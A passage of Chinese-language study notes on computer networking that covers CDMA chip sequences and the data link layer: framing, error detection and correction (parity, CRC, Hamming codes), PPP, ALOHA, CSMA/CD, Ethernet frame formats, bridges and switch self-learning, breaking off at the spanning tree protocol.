。\n如发送比特 1，则发送自己的 m bit 码片序列。 如发送比特 0，则发送该码片序列的二进制反码 。 例如：\nS 站的 8 bit 码片序列是 00011011 发送比特 1 时，就发送序列 00011011 发送比特 0 时，就发送序列 11100100 按惯例， 0 写成 - 1，1 写成 +1， S 站的码片序列：（ - 1 - 1- 1 + 1 + 1 - 1 + 1 + 1 ）\n码片序列实现了扩频\n假定 S 站要发送信息的数据率为 b bit/s 。由于每一个比特要转换成 m 个比特的码片，因此 S 站实际上发送的数据率提高到 mb bit/s ，同时 S 站所占用的频带宽度也提高到原来数值的 m 倍。\n这种通信方式是扩频 (spread) 通信\nCDMA 的一个重要特性 每个站分配的码片序列不仅必须各不相同， 并且还必须互相正交 (orthogonal) 。\n在实用的系统中是使用 伪随机码序列。\n令向量 S 表示站 S 的码片向量，令 T 表示其他任何站的码片向量。\n两个不同站的码片序列正交，就是向量 S 和 T 的规格化内积 (inner product) 等于 0 $$ S*T\\equiv\\frac{1}{m}\\sum_{i=1}^{m}S_iT_i=0 $$\n码片序列的正交关系举例 向量 S 为 ( - 1 - 1 - 1 + 1 + 1 - 1 + 1 + 1 )，向量 T 为 ( - 1 - 1 + 1 - 1 + 1 + 1 + 1 - 1 ) 。\n把向量 S 和 T 的各分量值代入公式就可看出这两个码片序列是正交的。\n向量 S 和 T 的码片反码的向量内积也是 0\n正交关系的另一个重要特性 任何一个码片向量和该码片向量自己的规格化内积都是 1\n一个码片向量和该码片反码的向量的规格化内积值是 -1\nCDMA 工作原理 每个站各自发送扩频信号，在接收端形成叠加的信号。\n当接收站打算接收 S 站的信号时，就用 S 站的码片序列与收到的叠加信号求规格化内积：\n若 S 站有信号发送 ，则内积结果为 1 ( 发送数据 1 ) 或 - 1 ( 发送数据 0 )\n若 S 站没有信号发送 ，则内积结果为 0\n数据链路层 在此层要解决的问题：封装成帧、透明传输、差错控制（检错、纠错）\n点对点信道 这种信道使用一对一的点对点通信方式（ PPP 协议 ） 广播信道。 这种信道使用一对多的广播通信方式，因此过程比较复杂。广播信道上连接的主机很多，因此必须使用专用的共享信道协议来协调这些主机的数据发送。 CSMA/CD 协议 为了分析链路层协议，采用简化的链路层模型\n数据链路层以上的各层用一个主机代替； 物理层和通信线路等效成一条简单数据链路； 使用点对点信道的数据链路层 数据链路和帧 链路 (link) 是一条无源的结点到相邻结点的物理线路（有线或无线），中间没有任何其他的交换结点。\n一条链路只是一条通路的一个组成部分。 数据链路 (data link) 除了物理线路外，还必须有通信协议来控制这些数据的传输。若把实现这些协议的硬件和软件加到链路上，就构成了数据链路。\n现在最常用的方法是使用 网络适配器（即网卡） 来实现这些协议的硬件和软件。\n一般的适配器都包括了数据链路层和物理层这两层的功能。\n数据链路层的基本概念 也有人采用另外的术语。这就是把链路分为物理链路和逻辑链路。\n物理链路 就是上面所说的链路 。\n逻辑链路 就是上面的数据链路，是物理链路加上必要的通信协议。\n早期的数据通信协议曾叫做通信规程 (procedure) 。因此在数据链路层，规程和协议是同义语。\n数据链路层的协议数据单元 - 帧 常常在两个对等的数据链路层之间画出一个数字管道，而在这条数字管道上传输的数据单位是帧\n数据链路层不必考虑物理层如何实现比特传输的细节。 甚至还可以更简单地设想好像是沿着两个数据链路层之间的水平方向把帧直接发送到对方\n三个基本问题 封装成帧 （framing）\n定义 在一段数据的前后分别添加首部和尾部然后就构成了一个帧。使接收方能确定帧的界限。换句话说，首部和尾部的一个重要作用就是进行帧定界\n字节计数法 思想\n在帧头设置一个长度域，放置该帧的字节数，当收方收到帧后，通过帧的长度，确定帧的开始。\n问题\n当帧的长度域出错，帧同步完全丢失；\n该方法很少单独使用。\n字符填充法 当数据是由可打印的 ASCII 码组成的文本文件时，帧定界可以使用特殊的 ASCII 码 不可打印的控制字符 作为 帧定界符。\n控制字符 SOH (Start Of Header) 放在一帧的最前面表示帧的首部开始 。 另一个控制字符 EOT (End Of Transmission) 表示帧的结束 。\n比特填充法 思想\n使用一个特殊的比特模式 01111110 （6个1）作为帧的起始和结束标志。\n发送方边发送边检查数据，每连续发送 5 个“ 1” 后在后面自动插入一个“ 0” 。这样数据中只会连续出现 5个“ 1”，而不会出现定界符。\n接收方在收到 5 个连续的 “1” 后将后面的 “0” 删掉而恢复出原始数据。\n好处\n数据传输的基本单位是比特而不是字符，可用来传输任意长度的二进制比特串，通用性强。\n违法编码法 前提\n物理介质上使用的信号编码有冗余码字时，使用这些冗余的码字来作为帧的定界。\n举例\n如曼彻斯特编码或差分曼彻斯特编码中，有效电平是 “低－高” 或 “高－低”，而 “低－低” 和 “高－高” 电平没有定义，这种违法编码可以作为帧的边界。\n透明传输 若所传的数据的比特片段与某一个控制信息相同，要有可靠机制，保证收方能正确识别\n如果数据中的某个字节的二进制代码恰好和 SOH 或 EOT 一样，数据链路层就会错误地“找到帧的边界”\n解决方法 发送端的数据链路层在数据中出现控制字符 “SOH” 或 “EOT” 的前面 插入一个转义字符 “ESC” （其十六进制编码是 1B) 。 接收端的数据链路层在将数据送往网络层之前删除插入的转义字符。 如果转义字符也出现在数据当中，那么应在转义字符前面插入一个转义字符 ESC 。当接收端收到连续的两个转义字符时，就删除其中前面的一个。 对应字节填充法 差错控制 纠错：通过编码技术，接收方自动将差错改正过来\n检错：检测出帧有错误，要么忽略或重传\n在传输过程中可能会产生比特差错： 1 可能会变成 0 而 0 也可能变成 1 。\n在一段时间内，传输错误的比特占所传输比特总数的比率称为误码率 BER (Bit Error Rate)\n例如误码率 10^-10^ ，表示 10^10^ 个比特就会出现 1 个比特的差错 误码率与信噪比有很大的关系。\n为了保证数据传输的可靠性，在计算机网络传输数据时，必须采用各种差错控制措施。\n考虑怎样发现和纠正信号传输中的差错。 方法\n如何发现差错？ 检错码（奇偶校验码、 CRC）：能检测出错误，但不能纠正错误 纠错码（海明码）：能知道错误，且知道错误的位置 发现差错如何处理？ 前向纠错：由接收方来检查并纠正错误 自动重发请求：不能纠正，接收方反馈。若有错误则重发，否则给肯定应答 前向纠错 （FEC Forward Error Correct）\n即发送方发送能使接收方检错并纠错的冗余位，纠错任务由接收方完成；常采用海明码\n主要应用于没有反向信道或反向传输时间很长的场合\n缺点：为纠错附加的冗余码较多，传输效率低；\n优点：实时性好。\n自动重发请求 （ARQ Automatic Repeat reQuest）\n即发送方发送能使接收方检错的冗余位，若无差错，则接收方回送一个肯定应答 (ACK)；若有差错，则接收方回送一个否定应答 (NAK)，要求发送方重发。\n缺点：信息传递连贯性差 优点：接收端设备简单，只要请求重发，无需纠正错误。 检错码 构造 检错码 (码字、传输帧) = 信息位＋冗余校验位 码字长 n = K (信息位位数) + r (校验位位数) 编码效率 R = 有效数据位 K / 码字长 n 信息字段和校验字段之间的对应关系 校验字段越长，编码的检错能力越强，编码解码越复杂；附加的冗余信息在整个编码中所占的比例越大，传输的有效成分越低，传输的效率下降。 检错码一旦形成，整个检错码将作为一个整体被发往线路，通常的发送顺序是信息字段在前，校验字段在后。 奇偶校验码 根据数据字节中 1 的个数来检验数据传输中是否发生了错误。\n奇校验：使码字中 1 的总个数为奇数 。\n偶校验：使码字中 1 的总个数为偶数 。\n奇 / 偶校验码：最常用的一种检验码，包括：\n水平奇 / 偶校验码 垂直奇 / 偶校验码 水平垂直奇 / 偶校验码 水平奇 / 偶校验码 其信息字段以字符为单位，校验字段仅含一个比特称为校验比特或校验位。\n例如：使用七比特的 ASCII 码来构造成八比特的检错码时若采用奇 / 偶校验，校验位的取值应使整个码字包括校验位， 1 的比特个数为奇数或偶数。 信息字段 奇校验码 偶校验码 1000001 10000011 10000010\n编码效率： Q / (Q+1) ( 信息字段占 Q 个比特 ) 应用： 通常在异步传输方式中采用偶校验， 同步传输方式中采取奇校验。 垂直奇 / 偶校验码 被传输的信息进行分组，并排列为若干行和若干列。组中每行的相同列进行奇 / 偶校验，最终产生由校验位形成的校验字符 (校验行)，并附加在信息分组之后传输\n举例： 4 个字符（ 4 行）组成一信息组 编码效率： PQ / P(Q+1) （假设信息分组占 Q 行 P 列） 水平垂直奇 / 偶校验 也叫方阵校验\n在水平校验的基础上实施垂直校验。\n例： 4 行 7 列信息组的水平垂直偶校验码为：\n循环冗余码 （Cyclic Redundancy Check CRC） 计算机和数据通信中使用最广泛的检错码 ，漏检率低，可用简单的电路实现。\n操作\n给定一个 k 比特的帧或报文，发送方生成 n 比特的序列（也称为帧检验序列 FCS Frame Check Sequence ），形成 ( k+n ) 的码字，该码字能被某个事先确定的数整除。接收方用相同的数去除收到的帧，如果无余数，则认为数据帧无差错\n步骤\n在发送端，先把数据划分为组 假定每组 k 个比特 假设待传送的一组数据 M = 101001 （现在 k = 6 ）。我们在 M 的后面再添加供差错检测用的 n 位 冗余码 一起发送。 计算方法 用二进制的 模 2 运算 （不相同则为1，相同则为0）进行 2^n^ 乘 M 的运算，这相当于在 M 后面添加 n 个 0 得到的 ( k + n ) bit 的数除以事先选定好的长度为 ( n + 1) bit 的除数 P，得出商是 Q 而余数是 R，余数 R 比除数 P 少 1 位，即 R 是 n 位 。 将余数 R 作为冗余码 (帧检验序列) 拼接在数据 M 后面发送出去 。 说明：帧检验序列 在数据后面添加上的冗余码称为帧检验序列 FCS (Frame Check Sequence) 。 循环冗余检验 CRC 和帧检验序列 FCS 并不等同。\nCRC 是一种常用的检错方法，而 FCS 是添加在数据后面的冗余码。 FCS 可以用 CRC 这种方法得出，但 CRC 并非用来获得 FCS 的唯一方法。 接收端对收到的每一帧进行 CRC 检验 把收到的每一个帧都除以相同的除数 P 模 2 运算 然后 检查得到的余数 R\n若得出的余数 R = 0 则判定这个帧没有差错就接受 (accept) 若余数 R 不等于 0 则判定这个帧有差错就丢弃 但这种检测方法并不能确定究竟是哪一个或哪几个比特出现了差错 。\n漏检 CRC 不能保证检测出所有的传输错误，但是只要选择位数足够的 P 可以使得差错的概率足够小\n只要经过严格的挑选，并使用位数足够多的除数 P 那么出现检测不到的差错的概率就很小很小\nCRC 也称多项式编码 任意一个由二进制位串组成的代码都可以和一个 系数仅为 ‘0’ 和 ‘1’ 取值的多项式 一一对应。\n多项式表示：即将 k 比特的数据用 k 项多项式表示，它的各项为 X^k-1^, \u0026hellip;, X^0^，它的系数为数据中对应位的 0 或 1 。\n生成多项式 P 除数 P 可表示成生成多项式 P(X)\n例如： P = 110101 ，即 P(X) = X^5^ + X^4^ + X^2^ + 1 (P 为 5 阶多项式）；\n生成多项式的最高位和最低位都必须为 1\n发送方用它生成冗余位，接收方用它判断是否有错；\n若 P 为 r 阶（ r +1 bit ），将产生 r 位冗余位；\n发送端帧检验序列 FCS 的生成和接收端 CRC 检验都是用硬件完成的，处理速度很快，不会延误数据的传输\nP 的国际标准 注意 仅用循环冗余检验 CRC 差错检测技术只能做到无差错接受，不能检验出帧有没有丢失、重复、失序\n无差错接受是指：凡是接受的帧（即不包括丢弃的帧）我们都能以非常接近于 1 的概率认为这些帧在传输过程中没有产生差错，也就是说，凡是接收端数据链路层接受的帧都无差错，有差错的帧就丢弃而不接受 。\n区分无比特差错与无传输差错（在运输层实现）\n要做到可靠传输（即发送什么就收到什么），就必须再加上确认和重传机制 。\n在数据链路层使用 CRC 检验能够实现无比特差错的传输但这还不是可靠传输 。\n本章介绍的数据链路层协议都不是可靠传输的协议\n对于通信质量较差的无线传输链路，数据链路层协议使用确认和重传机制可以提高通信效率\n海明码（纠错码） （重要）\n单比特纠错海明码\n基本思想 在 k 比特信息上附加 r 比特冗余信息（校验比特），构成 n = k + r 比特的码字，其中每个校验比特和某几个特定的信息比特构成偶校验关系。 接收端对这 r 个偶校验关系进行校验，即将每个校验比特和与它关联的信息比特进行相加（异或），相加的结果为 校正因子 。 如果没有错，则 r 个校正因子都为 0 若校正因子不全为 0 ，根据校正因子的取值，确定错误发 生的位置。 码距 （海明距离 Hamming Distance)\n一个编码系统中任意两个合法编码（码字）之间不同的二进位（ bit ）数叫这两个码字的码距 。\n例：10101,00110 ，码距为 3\n而整个编码系统中任意两个码字的的最小距离就是该编码系统的码距 。\n两个结论\n如果要检测出 d 个比特的错误，则编码集的海明距离至少为 d + 1\n如果要纠正 d 个比特的错误，则编码集的海明距离至少应为 2d + 1\n运算 点对点协议 PPP（了解） 面向比特的链路层协议 HDLC 高级数据链路控制 （High Level Data Link Control）是由国际标准化组织 ISO 制定的 面向比特 的链路层协议。\n采用主从结构，链路上一个主站控制多个从站，主站向从站发送命令，从站向主站返回响应。\n点 - 点 点 - 多点 目前很少使用\n帧格式 字段 PPP 协议 点对点协议 (Point to Point Protocol) 是数据链路层的功能\n主要用在拨号上网\n满足的要求 简单\n这是首要的要求。 封装成帧\n必须规定特殊的字符作为帧定界符 。 透明性\n保证数据传输的透明性 。 支持多种网络层协议\n能够在同一条物理链路上同时支持多种网络层协议。 支持多种类型链路\n能够在多种类型的链路上运行。 差错检测\n能够对接收端收到的帧进行检测，并立即丢弃有差错的帧 。 检测连接状态\n能够及时自动检测出链路是否处于正常工作状态。 最大传送单元\n必须对每一种类型的点对点链路设置最大传送单元 MTU 的 标准默认值，促进各种实现之间的互操作性。 网络层地址协商\n必须提供一种机制使通信的两个网络层实体能够通过协商知 道或能够配置彼此的网络层地址。 数据压缩协商\n必须提供一种方法来协商使用数据压缩算法。 不需要的功能 纠错 流量控制 序号 多点线路 半双工或单工链路 透明传输问题（要看） 使用广播信道的数据链路层 局域网的数据链路层 特点 网络为一个单位所拥有；地理范围和站点数目均有限 具有较高的数据率、较低的时延和较小的误码率 优点 广播功能 功能，从一个站点可很方便地访问全网。局域网上的主 机可共享连接在局域网上的各种硬件和软件资源。 便于系统的扩展和逐渐地演变，各设备的位置可灵活调整和改变 提高了系统的可靠性、可用性和生存性 拓扑结构 局域网信道分配策略 广播网中所有站点共享同一个信道，任一站点发送的信息能被所有其他站点接收到。\n问题\n若有两个或两个以上的站点同时发送数据，则信号在信道中发生碰撞，数据发送失败，为冲突。\n广播网中，如何将单一的信道分配各各个不同的用户，是个重要的问题。\n用户使用的信道称为媒体（介质），决定由谁来使用信道的协议为媒体（介质）访问控制协议\n媒体（介质）共享技术 静态划分信道 频分复用\n时分复用\n波分复用\n码分复用\n静态分配的特点\n站点数目少且固定，且每个站点有大量数据发送，控制协议简单且传输的效率高。\n对于大部分计算机网络，站点数目多且不固定，数据传输有突发性，信道的利用率低。\n代价较高，不适合于局域网使用\n动态分配 动态媒体接入控制（多点接入）\n信道不是在用户通信时固定分配给用户。\n例如：异步时分多路复用 STDM ，各站点仅当有数据发送时，才占用信道发送数据。\n动态接入控制类型\n随机接入\n又称争用，用户发送前不需要取得发送权，有数据就发送，发生**冲突（碰撞）**后采取措施解决冲突\n控制接入（少用 ）\n用户首先获得发送权，再发送数据，不会产生冲突\n令牌环局域网的多点线路探询（polling）\n争用协议 争用协议的特性\n随机访问： 意味着对任何站都无法预计其发送的时刻；\n竞争发送： 是指所有发送的站自由竞争信道的使用权。\nALOHA 系统和它的后继者 CSMA/CD 都是争用协议的代表。\nALOHA 思想（想发就发，冲突重发） 任何用户有数据发送就可以发送（会带来冲突） 如果发生冲突，接收方会检测出差错，然后不予确认，发送方一定时间内收不到确认就判断发生冲突； 发现数据传输失败后，各自等待一段随机时间 ，再重新发送。 竞争系统中，一方面不断有新的数据帧发送，另一方面冲突帧需要重发，系统的吞吐量是一个重要的指标。 吞吐量 ：单位时间内系统能够成功发送的新的数据帧的平均数量。 结论： ALOHA 系统最大的信道利用率为 18.4% ALOHA 系统的信道利用率是非常低的。原因主要是各个站自由发送数据，碰撞概率增大。 时隙 ALOHA 协议 （ Slotted ALOHA ）控制想发就发的随意性\n把时间分为若干个相同的时间片，所有用户在时间片开始时刻同步接入网络信道若发生冲突，则必须等到下一个时间片开始时刻再发送。\n时隙 ALOHA 系统的最大信道利用率为 36.8%\nCSMA/CD 协议（重要） 以太网采取了两种重要的措施 为了通信的简便，以太网采取了两种重要的措施：\n采用较为灵活的无连接的工作方式\n不必先建立连接就可以直接发送数据。 对发送的数据帧不进行编号，也不要求对方发回确认。 这样做的理由是局域网信道的质量很好，因信道质量产生差错的概率是很小的。 以太网提供的服务是不可靠的交付，即尽最大努力的交付。 当目的站收到有差错的数据帧时就丢弃此帧，其他什么也不做。 差错的纠正由高层来决定。 如果高层发现丢失了一些数据而进行重传，但以太网并不知道这是一个重传的帧，而是当作一个新的数据帧来发送。 以太网发送的数据都使用曼彻斯特编码\n曼彻斯特编码缺点是：它所占的频带宽度比原始的基带信号增加了一倍 协议内容 CSMA/CD 含义： 载波监听，多点接入 / 碰撞检测 (Carrier Sense Multiple Access with Collision Detection)\n多点接入指总线型网络，表示许多计算机以多点接入的方式连接在一根总线上。(计算机之间相互竞争) 载波监听是指每一个站在发送数据之前先要检测一下总线上是否有其他计算机在发送数据，如果有，则暂时不要发送数据，以免发生碰撞。（先听后说，有礼貌） 总线上并没有什么“载波”。因此， “载波监听”就是用电子技术检测总线上有没有其他计算机发送的数据信号。 碰撞检测就是计算机边发送数据边检测信道上的信号电压大小。 当几个站同时在总线上发送数据时，总线上的信号电压摆动值将会增大（互相叠加）。 当一个站检测到的信号电压摆动值超过一定的门限值时，就认为总线上至少有两个站同时在发送数据，表明产生了碰撞。 所谓“碰撞”就是发生了冲突。因此“碰撞检测”也称为“冲突检测” 检测到碰撞后 在发生碰撞时，总线上传输的信号产生了严重的失真，无法从中恢复出有用的信息来。\n每一个正在发送数据的站，一旦发现总线上出现了碰撞，就要立即停止发送，免得继续浪费网络资源，然后等待一段随机时间后再次发送\n每个站点都是在监听到信道空闲时才发送数据的，为什么还会发生碰撞？根本原因是因为电磁波在媒体上的传播速度总是有限的。\n为什么要进行碰撞检测？ 由于电磁波在总线上的传播速率是有限的， 当某个站监听到总线是空闲时，也可能总线并非真正是空闲的\nA 向 B 发出的信息，要经过一定的时间后才能传送到 B\nB 若在 A 发送的信息到达 B 之前发送自己的帧（因为这时 B 的载波监听检测不到 A 所发送的信息），则必然要在某个时间和 A 发送的帧发生碰撞。\n碰撞的结果是两个帧都变得无用。\n所以需要在发送期间进行碰撞检测，以检测冲突。\nCSMA/CD 的重要特性 使用 CSMA/CD 协议的以太网不能进行全双工通信，只能进行双向交替通信（半双工通信）。\n每个站在发送数据之后的一小段时间内，存在着遭遇碰撞的可能性。\n这种 发送的不确定性 使整个以太网的平均通信量远小于以太网的最高数据率。\n两个重要问题\n最迟多久才能知道自己发送的数据没和别人发生碰撞（争用期）\n检测到碰撞后，等待多长时间再重试（退避算法）\n争用期 最先发送数据帧的站，在发送数据帧后至多经过时间 2$$\\tau$$（两倍端到端单程传播时延）就可知道发送的数据帧是否遭受了碰撞。\n以太网的端到端往返时延 2$$\\tau$$ 称为争用期，或碰撞窗口。\n经过争用期这段时间还没有检测到碰撞，才能肯定这次发送不会发生碰撞。\n二进制指数类型退避算法 (truncated binary exponential)\n发生碰撞的站在停止发送数据后，要推迟（退避）一个随机时间才能再发送数据。\n基本退避时间取为争用期 2$$\\tau$$\n从整数集合 [0, 1, 2, 3, 4, … , (2^k^ - 1)] 中随机地取出一个数，记为 r。重传所需的时延就是 r 倍的基本退避时间。\n参数 k 按公式计算：$$k = Min[重传次数, 10]$$\n当 $$k\\leq 10$$ 时，参数 k 等于重传次数。\n当重传达 16 次仍不能成功时即丢弃该帧，并向高层报告。\n最短帧长 A站发了一个很短的帧，不幸发生了碰撞，但是帧在发送完毕后才检测到发生碰撞，没法停止发送，因为发完了。。。\n帧的发送时延至少持续一个争用期的时间（即 2 倍的传播时延）\n以太网的最短帧长 $$10 Mbit/s$$ 的以太网取 $$51.2\\mu s$$ 为争用期的长度，它在争用期内可以发送 512bit，即 64 字节（最短有效帧长）\n这意味着\n以太网在发送数据时，若前 64 字节没有发生冲突，则后续的数据就不会发生冲突 。 如果发生冲突，就一定是在发送的前 64 字节之内。 由于一检测到冲突就立即中止发送，这时已经发送出去的数据一定小于 64 字节。 以太网规定了最短有效帧长为 64 字节，凡长度小于 64 字节的帧都是由于冲突而异常中止的无效帧\n强化碰撞 当发送数据的站一旦发现发生了碰撞时\n立即停止发送数据； 再继续发送若干比特的人为干扰信号 (jamming signal)，以便让所有用户都知道现在已经发生了碰撞。 要点 准备发送，但没有完全发。在发送之前，必须先检测信道。 检测信道 。 若检测到信道忙，则应不停地检测，一直等待信道转为空闲。 若检测到信道空闲，并在 96 比特时间内信道保持空闲（保证了帧间最小间隔 9.6 μs），就发送这个帧。 检查碰撞。 在发送过程中仍不停地检测信道，即网络适配器要边发送边监听。这里有两种可能性 发送成功： 在争用期内一直未检测到碰撞。这个帧肯定能够发送成功。发送完毕后，其他什么也不做。然后回到 1 发送失败： 在争用期内检测到碰撞。这时立即停止发送数据，并按规定发送人为干扰信号。适配器接着就执行指数退避算法，等待 r 倍 512 比特时间 后，返回到步骤 2，继续检测信道。但若重传达 16 次仍不能成功，则停止重传而向上报错。 先听后发，边听边发，冲突停止，延迟重发\n以太网 （Ethernet）\n两个标准 DIX Ethernet V2 是 DEC、Intel、Xerox 公司联合提出的世界上第一个局域网产品（以太网）的规约——10M/s 的以太网规约。 IEEE 802.3 是 第一个 IEEE 802 委员会制定的局域网标准 两者差别很小，因此可以将 802.3 局域网简称为“以太网” 数据链路层的两个子层 逻辑链路控制 LLC (Logical Link Control) 子层 媒体接入控制 MAC (Medium Access Control) 子层 传统以太网 传统以太网 10Mbits/s 速率 最初是使用粗同轴电缆，后来演进到使用比较便宜的细同轴电缆 ，最后发展为使用更便宜和更灵活的双绞线 。\n采用双绞线的以太网采用星形拓扑，在星形的中心则增加了一种可靠性非常高的设备，叫做集线器 (hub)\n集线器本身不解决冲突问题\n星形以太网 10BASE-T 1990 年 IEEE 制定出星形以太网 10BASE-T 的标准 802.3i 。\n特点 使用无屏蔽双绞线，采用星形拓扑。 每个站需要用两对双绞线，分别用于发送和接收。 双绞线的两端使用 RJ 45 插头 。 集线器使用了大规模集成电路芯片，因此 集线器的可靠性提高 。 10BASE T 的通信距离稍短，每个站到集线器的距离不超过 100 m 10BASE T 双绞线以太网 的出现，是局域网发展史上的一个非常重要的里程碑，它为以太网在局域网中的统治地位奠定了牢固的基础。\n信道利用率 多个站在以太网上同时工作就可能会发生碰撞。\n设帧长为 L (bits)，数据发送速率为 C (bit/ s)，则帧的发送时间为 T~0~ = L / C (s) 。\n以太网信道被占用的情况 参数 α 与利用率 要提高以太网的信道利用率，就必须减小 $$\\tau$$ 与 T0 之比。\n在以太网中定义了参数 α，它是以太网单程端到端时延 $$\\tau$$ 与帧的发送时间 T0 之比： $$ a=\\frac{\\tau}{T_0} $$ 对以太网参数 α 的要求是 α 要尽可能小 当数据率一定时， 以太网的连线的长度要受到限制，否则 $$\\tau$$ 的数值会太大 以太网的帧长不能太短，否则 T~0~ 的值会太小，使 α 值太大 信道利用率的最大值S~max~ 在理想化的情况下，以太网上的各站发送数据都不会产生碰撞（这显然已经不是CSMA/CD，而是需要使用一种特殊的调度方法），即总线一旦空闲就有某一个站立即发送数据。\n发送一帧占用线路的时间是 $$T_0+\\tau$$，而帧本身的发送时间是 T~0~。于是我们可计算出理想情况下的极限信道利用率 S~max~ 为： $$ S_{max}=\\frac{T_0}{T_0+\\tau}=\\frac{1}{1+a} $$ 以太网的层次结构 数据链路层的两个子层\n逻辑链路控制 LLC (Logical Link Control) 子层 屏蔽对各种不同物理网络的访问方法的差异，向上提供数据传输服务的统一的逻辑接口 媒体接入控制 MAC (Media Access Control) 子层 控制对传输介质的访问，并在物理层的基础上实现无差错通信。该子层随不同的物理网络差异较大 TCP/IP 一般不考虑 LLC 子层\n以太网的 MAC 层 计算机要连接到局域网需要依靠网络接口板。\n网络接口板又称为适配器 (adapter) 或网络接口卡 NIC (Network Interface Card) Card)，或网卡\n适配器的重要功能：\n进行串行 / 并行转换 对数据进行缓存 在计算机的操作系统安装设备驱动程序 实现以太网协议 MAC 层的硬件地址 硬件地址又称为物理地址，或 MAC 地址\n标准所说的 “地址” 严格地讲应当是每一个站的 “名字” 或标识符，采用 6 字节 ( 48 位 ) ，是固化在网卡 ROM 中的\nMAC 帧格式 常用的以太网 MAC 帧格式有两种标准\nDIX Ethernet V2 标准 IEEE 的 802.3 标准 最常用的 MAC 帧是 以太网 V2 的格式\n以太网 V2 的 MAC 帧 由五个字段组成。\n前两个字段分别为 6 字节长的目的地址和源地址字段。\n第三个字段是 2 字节的类型字段，用来标志上一层使用的是什么协议\n第四个字段是数据字段，其长度在 46 到 1500 字节之间\n最后一个字段是 4 字节的帧检验序列 FCS (使用 CRC 检验）\n总帧长 64 - 1518\n对于检查出的无效 MAC 帧就简单地丢弃，以太网不负责重传丢弃的帧。\nIEEE 802.3 MAC 帧格式（了解） 与以太网 V2 MAC 帧格式 相似， 区别 在于：\nIEEE 802.3 规定的 MAC 帧的第三个字段是“ 长度 / 类型 ”。 当这个字段值大于 0x0600 时（相当于十进制的 1536 ），就表示“类型”。这样的帧和以太网 V2 MAC 帧完全一样。 当这个字段值小于 0x0600 时才表示“长度” 。 当 “长度 / 类型” 字段值小于 0x0600 时，数据字段必须装入上面的逻辑链路控制 LLC 子层的 LLC 帧。 帧最小间隔 帧间最小间隔为 9.6 μs ，相当于 96 bit 的发送时间。\n一个站在检测到总线开始空闲后，还要等待 9.6 μs 才能再次发送数据。\n这样做是为了使刚刚收到数据帧的站的接收缓存来得及清理，做好接收下一帧的准备。\n扩展以太网 在物理层扩展以太网 使用光纤扩展 使用集线器扩展 连接成更大的多级星形结构的以太网\n相当于一个转发器，增大碰撞域，实现跨碰撞域的通信\n在数据链路层扩展以太网 扩展以太网更常用的方法是在数据链路层进行。\n早期使用网桥，现在使用以太网交换机。\n网桥 根据 MAC 帧的目的地址对收到的帧进行转发和过滤\n一般两个端口\n工作原理\n网桥从端口接收网段上传送的各种帧； 每当收到一个帧时，先暂存在缓存中。 若此帧未出错，且欲发送的目的站的 MAC 地址属于另外一个网段，则通过查找 “转发表”，将收到的帧送往对应的端口转发。 若此帧出错，则丢弃该帧。 同一个网段内的帧，不会被网桥转发，不会增加网络负担 网桥使各网段成为隔离开的碰撞域\n内部结构 优点 过滤通信量、扩大了物理范围、提高了可靠性。 可互连不同物理层、不同 MAC 子层和不同速率的局域网。 缺点 存储转发增加了时延。 在 MAC 子层并没有流量控制功能。 具有不同 MAC 子层的网段桥接在一起时时延更大。 只适合用户数不太多（不超过几百个）和通信量不太大的局域网，否则有时还会因传播过多的广播信息而产生网络拥塞（所谓广播风暴） 网桥与集线器的不同 集线器在转发帧时，不对传输媒体进行检测。 网桥在转发帧之前必须执行 CSMA/CD 算法 由于网桥没有网卡，因此网桥并不改变它转发的帧的源地址。 类型（如何生成路由） 固定路由网桥 人为建转发表 透明网桥 网桥确定路由 能生成和修改自己路由表的网桥 用的最多 源路由网桥 站点确定路由 发送站点确定到达目的地的路由，并将它存储在所发送的帧中；网桥接收帧后按其指示的路由将它转发到下一个局域网上。 交换机 即多端口网桥（有更多接口的网桥）\n特点 每个接口都直接与一个单台主机或另一个以太网交换机相连，并且一般都工作在全双工方式。 并行性 能同时连通多对接口， 使每一对相互通信的主机都能像独占通信媒体那样，进行无碰撞地传输数据。 相互通信的主机都是独占传输媒体，无碰撞地传输数据。 以太网交换机的接口有存储器， 能在输出端口繁忙时把到来的帧进行缓存 。 即插即用，其内部的帧交换表是通过自学习算法自动地逐渐建立起来 以太网交换机使用了专用的交换结构芯片，用硬件转发，其转发速率要比使用软件转发的网桥快很多。 优点 用户独享带宽，增加了总容量。 用以太网交换机扩展局域网 交换方式 存储转发方式 把整个数据帧先缓存后再进行处理 。 直通 (cut through) 方式 接收数据帧的同时就立即按数据帧的目的 MAC 地址决定该帧的转发接口，因而提高了帧的转发速度 缺点 是它不检查差错就直接将帧转发出去，因此有可能也将一些无效帧转发给其他的站 在某些情况下，仍需要采用基于软件的存储转发方式进行交换，例如，当需要进行线路速率匹配、协议转换或差错检测时\n自学习算法（重要）\n以太网交换机运行自学习算法自动维护交换表。 步骤 开始时，以太网交换机里面的交换表是空的 A 先向 B 发送一帧，从接口 1 进入到交换机。 交换机收到帧后， 先查找交换表， 没有查到应从哪个接口转发这个帧。 交换机把这个帧的 源地址 A 和 接口 1 写入交换表 中，并向（除接口 1 以外的）所有接口广播这个帧。 C 和 D 将丢弃这个帧，因为目的地址不对。只 B 才收下这个目的地址正确的帧，称为过滤 从新写入交换表的项目 (A, 1) 可以看出，以后不管从哪一个接口收到帧，只要其目的地址是 A ，就应当把收到的帧从接口 1 转发出去。 B 通过接口 3 向 A 发送一帧。（一般作为答复） 交换机查找交换表， 发现交换表中的 MAC 地址有 A 。表明要发送给 A 的帧（即目的地址为 A 的帧）应从接口 1 转发。 于是就把这个帧传送到接口 1 转发给 A 。 显然，现在已经没有必要再广播收到的帧。 交换表这时新增加的项目 (B, 3)，表明今后如有发送给 B 的帧，就应当从接口 3 转发出去。 经过一段时间后， 只要主机 C 和 D 也向其他主机发送帧， 以太网交换机中的交换表就会把转发到 C 或 D 应当经过的接口号（ 2 或 4 ）写入到交换表中 以太网交换机的这种自学习方法使得以太网交换机能够即插即用，不必人工进行配置，因此非常方便。 交换机自学习和转发帧的步骤归纳\n交换机收到一帧后先查找交换表中与收到帧的源地址有无相匹配的项目。 如没有，就在交换表中增加一个项目（源地址、进入的接口和有效时间）。 如有，则把原有的项目进行更新（进入的接口或有效时间）。 转发帧。 查找交换表中与收到帧的 目的地址有无相匹配 的项目。 如没有，则向所有其他接口（进入的接口除外）转发。（泛洪帧） 如有，则按交换表中给出的接口进行转发。 若交换表中给出的接口就是该帧进入交换机的接口，则应丢弃这个帧（因为这时不需要经过交换机进行转发） 生成树协议\n为了增加网络的可靠性，会增加冗余链路。自学习的过程就可能导致以太网帧在网络的某个环路中无限制地兜圈子\n如图，假定开始时，交换机 #1 和 #2 